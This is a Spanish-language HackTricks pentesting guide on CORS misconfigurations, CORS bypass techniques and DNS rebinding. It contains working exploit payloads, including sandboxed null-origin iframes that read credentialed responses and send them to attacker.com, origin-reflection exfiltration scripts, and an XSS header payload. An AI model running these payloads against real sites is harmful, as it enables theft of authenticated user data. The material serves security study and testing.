CORS - Misconfiguraciones & Bypass

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es CORS?

Cross-Origin Resource Sharing (CORS) es un estándar que permite a los servidores definir quién puede acceder a sus recursos y qué métodos de petición HTTP están permitidos desde orígenes externos.

Una política same-origin exige que un servidor solicitante de un recurso y el servidor que aloja el recurso compartan el mismo protocolo (p. ej., http://), nombre de dominio (p. ej., internal-web.com) y puerto (p. ej., 80). Bajo esta política, solo las páginas web del mismo dominio y puerto pueden acceder a los recursos.

La aplicación de la política same-origin en el contexto de http://normal-website.com/example/example.html se ilustra de la siguiente manera:

URL accessedAccess permitted?
http://normal-website.com/example/Sí: mismo esquema, dominio y puerto
http://normal-website.com/example2/Sí: mismo esquema, dominio y puerto
https://normal-website.com/example/No: esquema y puerto diferentes
http://en.normal-website.com/example/No: dominio diferente
http://www.normal-website.com/example/No: dominio diferente
http://normal-website.com:8080/example/No: puerto diferente*

*Internet Explorer no tiene en cuenta el número de puerto al aplicar la política same-origin, por lo que permite este acceso.

Access-Control-Allow-Origin Cabecera

Esta cabecera puede permitir múltiples orígenes, un valor null, o un comodín *. Sin embargo, ningún navegador soporta múltiples orígenes, y el uso del comodín * está sujeto a limitaciones. (El comodín debe usarse solo, y no está permitido junto con Access-Control-Allow-Credentials: true.)

Esta cabecera es emitida por un servidor en respuesta a una petición de recurso cross-domain iniciada por un sitio web, siendo el navegador el que añade automáticamente una cabecera Origin.

Access-Control-Allow-Credentials Cabecera

Por defecto, las peticiones cross-origin se hacen sin credenciales como cookies o la cabecera Authorization. Aun así, un servidor cross-domain puede permitir la lectura de la respuesta cuando se envían credenciales estableciendo la cabecera Access-Control-Allow-Credentials a true.

Si se establece a true, el navegador transmitirá credenciales (cookies, cabeceras de autorización o certificados cliente TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Entendiendo las pre-flight requests en la comunicación entre dominios

Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un método HTTP no estándar (cualquier cosa distinta de HEAD, GET, POST), introducir nuevos headers, o emplear un valor de Content-Type especial, puede ser necesaria una pre-flight request. Esta petición preliminar, usando el método OPTIONS, sirve para informar al servidor sobre las intenciones de la próxima solicitud cross-origin, incluyendo los métodos HTTP y los headers que pretende usar.

El protocolo Cross-Origin Resource Sharing (CORS) exige esta comprobación pre-flight para determinar la viabilidad de la operación cross-origin solicitada, verificando los métodos y headers permitidos y la confiabilidad del origin. Para entender en detalle qué condiciones evitan la necesidad de una pre-flight request, consulta la guía completa proporcionada por Mozilla Developer Network (MDN).

Es crucial notar que la ausencia de una pre-flight request no anula la necesidad de que la respuesta incluya authorization headers. Sin estos headers, el navegador no puede procesar la respuesta de la solicitud cross-origin.

Considera la siguiente ilustración de una pre-flight request destinada a usar el método PUT junto con un header personalizado llamado Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En respuesta, el servidor podría devolver cabeceras que indiquen los métodos aceptados, el origen permitido y otros detalles de la política CORS, como se muestra a continuación:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Este header especifica qué headers pueden usarse durante la solicitud real. Lo establece el servidor para indicar los headers permitidos en las solicitudes provenientes del cliente.
  • Access-Control-Expose-Headers: A través de este header, el servidor informa al cliente cuáles headers pueden exponerse como parte de la respuesta además de las cabeceras de respuesta simples.
  • Access-Control-Max-Age: Este header indica cuánto tiempo pueden almacenarse en caché los resultados de una pre-flight request. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una pre-flight request puede reutilizarse.
  • Access-Control-Request-Headers: Utilizado en pre-flight requests, este header lo establece el cliente para informar al servidor qué headers HTTP desea usar en la solicitud real.
  • Access-Control-Request-Method: Este header, también usado en pre-flight requests, lo establece el cliente para indicar qué método HTTP se empleará en la solicitud real.
  • Origin: Este header lo establece automáticamente el navegador e indica el origen de la solicitud cross-origin. El servidor lo usa para evaluar si la solicitud entrante debe permitirse o denegarse según la política CORS.

Tenga en cuenta que normalmente (dependiendo del content-type y de los headers establecidos) en una GET/POST request no se envía una pre-flight request (la solicitud se envía directamente), pero si quieres acceder a los headers/body de la respuesta, esta debe contener un Access-Control-Allow-Origin header que lo permita.\
Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).

Solicitudes de red local — Pre-flight request

  1. Access-Control-Request-Local-Network: Este header se incluye en la solicitud del cliente para indicar que la consulta va dirigida a un recurso de la red local. Sirve como un marcador para informar al servidor que la solicitud se origina desde dentro de la red local.
  2. Access-Control-Allow-Local-Network: En respuesta, los servidores utilizan este header para comunicar que el recurso solicitado está permitido para compartirse con entidades fuera de la red local. Actúa como una luz verde para compartir recursos a través de diferentes límites de red, asegurando un acceso controlado mientras se mantienen los protocolos de seguridad.

Una respuesta válida que permita la solicitud de la red local necesita además en la respuesta el header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Ten en cuenta que la IP linux 0.0.0.0 funciona para bypass estos requisitos para acceder a localhost, ya que esa dirección IP no se considera “local”.

También es posible bypass los requisitos de Local Network si utilizas la dirección IP pública de un endpoint local (como la IP pública del router). Porque en varias ocasiones, incluso si se está accediendo a la IP pública, si es desde la red local, se concederá el acceso.

Comodines

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Esto no está permitido por los browsers y, por lo tanto, las credenciales no se enviarán con la solicitud.

Misconfiguraciones explotables

Se ha observado que configurar Access-Control-Allow-Credentials a true es un requisito previo para la mayoría de los ataques reales. Esta configuración permite al browser enviar credenciales y leer la respuesta, aumentando la efectividad del ataque. Sin esto, el beneficio de hacer que un browser emita la petición en lugar de realizarla uno mismo disminuye, ya que aprovechar las cookies del usuario se vuelve inviable.

Excepción: Explotando la ubicación de la red como autenticación

Existe una excepción en la que la ubicación de red de la víctima actúa como una forma de autenticación. Esto permite usar el browser de la víctima como proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones intranet. Este método comparte similitudes en impacto con DNS rebinding pero es más sencillo de explotar.

Reflexión de Origin en Access-Control-Allow-Origin

Un escenario real en el que el valor de la cabecera Origin se refleja en Access-Control-Allow-Origin es teóricamente improbable debido a restricciones sobre la combinación de estas cabeceras. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URLs pueden generar dinámicamente la cabecera Access-Control-Allow-Origin copiando el valor de Origin. Este enfoque puede introducir vulnerabilidades, sobre todo cuando un atacante usa un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Explotando el origen null

El origen null, especificado para situaciones como redirecciones o archivos HTML locales, ocupa una posición única. Algunas aplicaciones incluyen este origen en la lista blanca para facilitar el desarrollo local, permitiendo involuntariamente que cualquier sitio web finja un origen null mediante un iframe con sandbox, eludiendo así las restricciones de CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Técnicas de bypass de expresiones regulares

Al encontrarse con una whitelist de dominios, es crucial probar oportunidades de bypass, como anexar el dominio del atacante a un dominio en la whitelist o explotar vulnerabilidades de subdomain takeover. Además, las expresiones regulares usadas para la validación de dominios pueden pasar por alto matices en las convenciones de nombres de dominio, lo que presenta más oportunidades de bypass.

Bypasses avanzados de expresiones regulares

Los patrones regex típicamente se concentran en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres que los navegadores y los patrones regex interpretan de forma diferente puede eludir las comprobaciones de seguridad. El manejo de caracteres underscore en subdominios por parte de Safari, Chrome y Firefox ilustra cómo esas discrepancias pueden explotarse para sortear la lógica de validación de dominios.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS incluyendo en la whitelist los dominios que están permitidos para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios whitelisted puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting).

Para ilustrar, considere el escenario en el que un dominio, requester.com, está incluido en la whitelist para acceder a recursos de otro dominio, provider.com. La configuración del lado del servidor podría verse algo así:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

En esta configuración, todos los subdominios de requester.com tienen permitido el acceso. Sin embargo, si un subdominio, por ejemplo sub.requester.com, se ve comprometido con una vulnerabilidad XSS, un atacante puede aprovechar esa debilidad. Por ejemplo, un atacante con acceso a sub.requester.com podría explotar la vulnerabilidad XSS para eludir las políticas CORS y acceder de forma maliciosa a recursos en provider.com.

Caracteres especiales

La PortSwigger’s URL validation bypass cheat sheet encontró que algunos navegadores soportan caracteres extraños dentro de los nombres de dominio.

Chrome y Firefox soportan underscores _ que pueden eludir regexes implementadas para validar el encabezado Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari es aún más permisivo aceptando caracteres especiales en el nombre de dominio:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Otros trucos curiosos de URL

URL Format Bypass

Server-side cache poisoning

From this research

Es posible que, explotando server-side cache poisoning a través de HTTP header injection, pueda inducirse una vulnerabilidad stored Cross-Site Scripting (XSS). Este escenario ocurre cuando una aplicación no sanea el encabezado Origin para caracteres ilegales, creando una vulnerabilidad especialmente para usuarios de Internet Explorer y Edge. Estos navegadores tratan (0x0d) como un legítimo HTTP header terminator, lo que conduce a vulnerabilidades de HTTP header injection.

Considera la siguiente petición donde se manipula el encabezado Origin:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer y Edge interpretan la respuesta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Aunque explotar directamente esta vulnerabilidad haciendo que un navegador envíe un header malformado no es factible, se puede generar manualmente una petición elaborada usando herramientas como Burp Suite. Este método podría provocar que la caché del servidor guarde la respuesta y la sirva involuntariamente a otros. La payload diseñada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de manera que puedan ejecutarse como script en ciertos contextos.

Para más información sobre vulnerabilidades stored XSS, consulte PortSwigger.

Nota: La explotación de vulnerabilidades de HTTP header injection, particularmente mediante server-side cache poisoning, subraya la importancia crítica de validar y sanear toda la entrada suministrada por el usuario, incluidos los HTTP headers. Utilice siempre un modelo de seguridad robusto que incluya validación de entrada para prevenir dichas vulnerabilidades.

Client-Side cache poisoning

From this research

En este escenario se observa una instancia de una página web que refleja el contenido de un HTTP header personalizado sin el debido escape. Específicamente, la página web devuelve el contenido incluido en un header X-User-id, que podría contener JavaScript malicioso, como se demuestra en el ejemplo donde el header contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargar.

Las políticas de Cross-Origin Resource Sharing (CORS) permiten el envío de headers personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a las restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si no se especifica el header Vary: Origin, es posible que la respuesta maliciosa sea cacheada por el navegador. Posteriormente, esta respuesta cacheada podría renderizarse directamente al navegar a la URL, evitando la necesidad de renderizado directo durante la petición inicial. Este mecanismo aumenta la fiabilidad del ataque al aprovechar la cache del lado del cliente.

Para ilustrar este ataque, se proporciona un ejemplo en JavaScript, diseñado para ejecutarse en el entorno de una página web, por ejemplo mediante JSFiddle. Este script realiza una acción sencilla: envía una petición a una URL especificada con un header personalizado que contiene el JavaScript malicioso. Tras la finalización exitosa de la petición, intenta navegar a la URL objetivo, pudiendo desencadenar la ejecución del script inyectado si la respuesta ha sido cacheada sin un manejo adecuado del header Vary: Origin.

A continuación se muestra un resumen del JavaScript utilizado para ejecutar este ataque:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, también conocido como Cross-Site Script Inclusion, es un tipo de vulnerabilidad que se aprovecha de que la Same Origin Policy (SOP) no se aplica cuando se incluyen recursos usando el script tag. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se incluyó usando el script tag.

Esta vulnerabilidad se vuelve especialmente relevante cuando se trata de JavaScript dinámico o JSONP (JSON with Padding), sobre todo cuando se usa información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso desde un host diferente, las cookies se incluyen, haciéndolas accesibles para el atacante.

Para entender mejor y mitigar esta vulnerabilidad, puedes usar el plugin de BurpSuite disponible en https://github.com/kapytein/jsonp. Este plugin puede ayudar a identificar y abordar posibles vulnerabilidades XSSI en tus aplicaciones web.

Read more about the difefrent types of XSSI and how to exploit them here.

Intenta añadir un parámetro callback en la request. Quizá la página estaba preparada para enviar los datos como JSONP. En ese caso la página devolverá los datos con Content-Type: application/javascript, lo que evitará la política CORS.

Easy (useless?) bypass

Una forma de eludir la restricción Access-Control-Allow-Origin es solicitando a una aplicación web que haga una request en tu nombre y te reenvíe la respuesta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán ya que la request se hace a un dominio distinto.

  1. CORS-escape: Esta herramienta proporciona un proxy que reenvía tu request junto con sus headers, a la vez que falsifica el Origin header para que coincida con el dominio solicitado. Esto efectivamente bypassea la política CORS. Aquí hay un ejemplo de uso con XMLHttpRequest:
  2. simple-cors-escape: Esta herramienta ofrece un enfoque alternativo para el proxying de requests. En lugar de pasar tu request tal cual, el servidor hace su propia request con los parámetros especificados.

Iframe + Popup Bypass

Puedes bypass CORS checks como e.origin === window.origin creando un iframe y desde éste abriendo una nueva ventana. Más información en la siguiente página:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL es una técnica usada para eludir ciertas medidas de seguridad manipulando registros DNS. Así es como funciona:

  1. El atacante crea una página web y hace que la víctima la visite.
  2. El atacante luego cambia el DNS (IP) de su propio dominio para apuntar a la página web de la víctima.
  3. El navegador de la víctima cachea la respuesta DNS, que puede tener un valor TTL (Time to Live) indicando cuánto tiempo debe considerarse válido el registro DNS.
  4. Cuando el TTL expira, el navegador de la víctima hace una nueva petición DNS, permitiendo al atacante ejecutar código JavaScript en la página de la víctima.
  5. Manteniendo el control sobre la IP de la víctima, el atacante puede recopilar información desde la víctima sin enviar cookies al servidor de la víctima.

Es importante notar que los navegadores tienen mecanismos de caché que pueden impedir el abuso inmediato de esta técnica, incluso con valores de TTL bajos.

DNS rebinding puede ser útil para evadir comprobaciones de IP explícitas realizadas por la víctima o para escenarios donde un usuario o bot permanece en la misma página por un periodo prolongado, permitiendo que la caché expire.

Si necesitas una forma rápida de abusar de DNS rebinding, puedes usar servicios como https://lock.cmpxchg8b.com/rebinder.html.

Para ejecutar tu propio servidor de DNS rebinding, puedes utilizar herramientas como DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Esto implica exponer tu puerto local 53/udp, crear un registro A apuntando a él (por ejemplo, ns.example.com), y crear un registro NS apuntando al subdominio A creado anteriormente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com será entonces resuelto por tu host.

También puedes explorar un servidor público en funcionamiento en http://rebind.it/singularity.html para mayor comprensión y experimentación.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding es otra técnica usada para eludir el mecanismo de caché de los navegadores y forzar una segunda petición DNS. Así es como funciona:

  1. Inicialmente, cuando la víctima realiza una petición DNS, se responde con la IP del atacante.
  2. Para eludir la defensa de caché, el atacante aprovecha un service worker. El service worker inunda la caché DNS, lo que efectivamente borra el nombre del servidor atacante almacenado en caché.
  3. Cuando el navegador de la víctima hace una segunda petición DNS, ahora se responde con la dirección IP 127.0.0.1, que típicamente se refiere al localhost.

Al inundar la caché DNS con el service worker, el atacante puede manipular el proceso de resolución DNS y forzar al navegador de la víctima a hacer una segunda request, esta vez resolviendo a la IP deseada por el atacante.

DNS Rebinding via Cache

Otra forma de eludir la defensa de caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona:

  1. El atacante configura dos registros A (o un único registro A con dos IPs) para el mismo subdominio en el proveedor DNS.
  2. Cuando un navegador consulta estos registros, recibe ambas direcciones IP.
  3. Si el navegador decide usar primero la IP del atacante, el atacante puede servir una carga que realiza peticiones HTTP al mismo dominio.
  4. Sin embargo, una vez que el atacante obtiene la IP de la víctima, deja de responder al navegador de la víctima.
  5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a usar la segunda IP proporcionada.
  6. Al acceder a la segunda IP, el navegador elude la Same Origin Policy (SOP), permitiendo al atacante abusar de esto para recopilar y exfiltrar información.

Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de IP del navegador, un atacante puede explotar la SOP y acceder a información de la víctima.

Warning

Ten en cuenta que para acceder a localhost deberías intentar rebindear 127.0.0.1 en Windows y 0.0.0.0 en linux.
Proveedores como godaddy o cloudflare no me permitieron usar la ip 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas “0.0.0.0”

Para más info puedes revisar https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • If internal IPs aren’t allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren’t allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren’t allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo usar la siguiente herramienta en la charla Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin es una herramienta para realizar ataques de DNS rebinding. Incluye los componentes necesarios para rebindear la dirección IP del nombre DNS del servidor atacante a la IP de la máquina objetivo y para servir payloads de ataque que exploten software vulnerable en la máquina objetivo.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH simplemente encapsula el clásico formato wire DNS RFC1035 dentro de HTTPS (usualmente un POST con Content-Type: application/dns-message). El resolver sigue respondiendo con los mismos resource records, por lo que las técnicas que rompen SOP continúan funcionando incluso cuando los navegadores resuelven el hostname controlado por el atacante vía TLS.

Key observations

  • Chrome (Windows/macOS) y Firefox (Linux) se rebindean con éxito cuando están configurados para los resolvers DoH de Cloudflare, Google o OpenDNS. El cifrado de transporte no retrasa ni bloquea el flujo del ataque para las estrategias first-then-second, multiple-answers, o DNS cache flooding.
  • Los resolvers públicos aún ven cada query, pero raramente imponen el mapeo host-to-IP que un navegador debe respetar. Una vez que el servidor autoritativo devuelve la secuencia de rebinding, el navegador mantiene la tupla de origen original mientras se conecta a la nueva IP.

Singularity strategies and timing over DoH

  • First-then-second sigue siendo la opción más fiable: la primera consulta devuelve la IP del atacante que sirve el payload, cada consulta posterior devuelve la IP interna/localhost. Con las caches DNS típicas de los navegadores esto invierte el tráfico en ~40–60 segundos, incluso cuando el resolver recursivo solo es accesible vía HTTPS.
  • Multiple answers (fast rebinding) aún alcanza localhost en <3 segundos respondiendo con dos registros A (IP del atacante + 0.0.0.0 en Linux/macOS o 127.0.0.1 en Windows) y haciendo programáticamente blackholing de la primera IP (por ejemplo, iptables -I OUTPUT -d <attacker_ip> -j DROP) poco después de que la página cargue. La implementación DoH de Firefox puede emitir consultas DNS repetidas, por lo que la solución de Singularity es programar la regla del firewall relativa a la marca temporal de la primera query en lugar de refrescar el temporizador en cada consulta.

Beating “rebind protection” in DoH providers

  • Algunos proveedores (p. ej., NextDNS) sustituyen respuestas privadas/loopback por 0.0.0.0, pero Linux y macOS encaminan felizmente ese destino a servicios locales. Devolver intencionadamente 0.0.0.0 como el segundo registro por lo tanto sigue pivotando el origen hacia localhost.
  • Filtrar solo la respuesta directa A/AAAA es inefectivo: devolver un CNAME a un hostname interno hace que el resolver DoH público reenvíe el alias mientras que navegadores como Firefox hacen fallback al DNS del sistema para la zona interna, completando la resolución a una IP privada que aún se trata como el origen atacante.

Browser-specific DoH behavior

  • Firefox DoH funciona en modo fallback: cualquier fallo de DoH (incluyendo un objetivo CNAME no resuelto) desencadena una búsqueda en texto plano vía el resolver del SO, que normalmente es un servidor DNS empresarial que conoce el espacio de nombres interno. Este comportamiento es lo que hace fiable el bypass CNAME dentro de redes corporativas.
  • Chrome DoH solo se activa cuando el DNS del SO apunta a un resolver recursivo DoH permitido (Cloudflare, Google, Quad9, etc.) y no proporciona la misma cadena de fallback. Los hostnames internos que solo existen en DNS corporativo por tanto fallan al resolverse, pero el rebinding hacia localhost o cualquier dirección enrutable aún tiene éxito porque el atacante controla el conjunto completo de respuestas.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS y proporciona el endpoint DoH (Cloudflare y NextDNS están integrados). Chrome/Chromium: habilita chrome://flags/#dns-over-https y configura los servidores DNS del SO a uno de los resolvers soportados por Chrome (p. ej., 1.1.1.1/1.0.0.1).
  • Puedes consultar APIs públicas DoH directamente, p. ej. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq para confirmar los registros exactos que los navegadores cachearán.
  • Interceptar DoH en Burp/ZAP sigue funcionando porque es solo HTTPS (payload DNS binario en el body). Para inspección a nivel de paquetes, exporta claves TLS (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) antes de lanzar el navegador y deja que Wireshark descifre las sesiones DoH con el filtro de visualización dns para ver cuándo el navegador permanece en DoH o hace fallback a DNS clásico.

Real Protection against DNS Rebinding

  • Usa TLS en servicios internos
  • Solicita autenticación para acceder a datos
  • Valida el Host header
  • https://wicg.github.io/private-network-access/: Propuesta para siempre enviar una solicitud pre-flight cuando servidores públicos quieran acceder a servidores internos

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks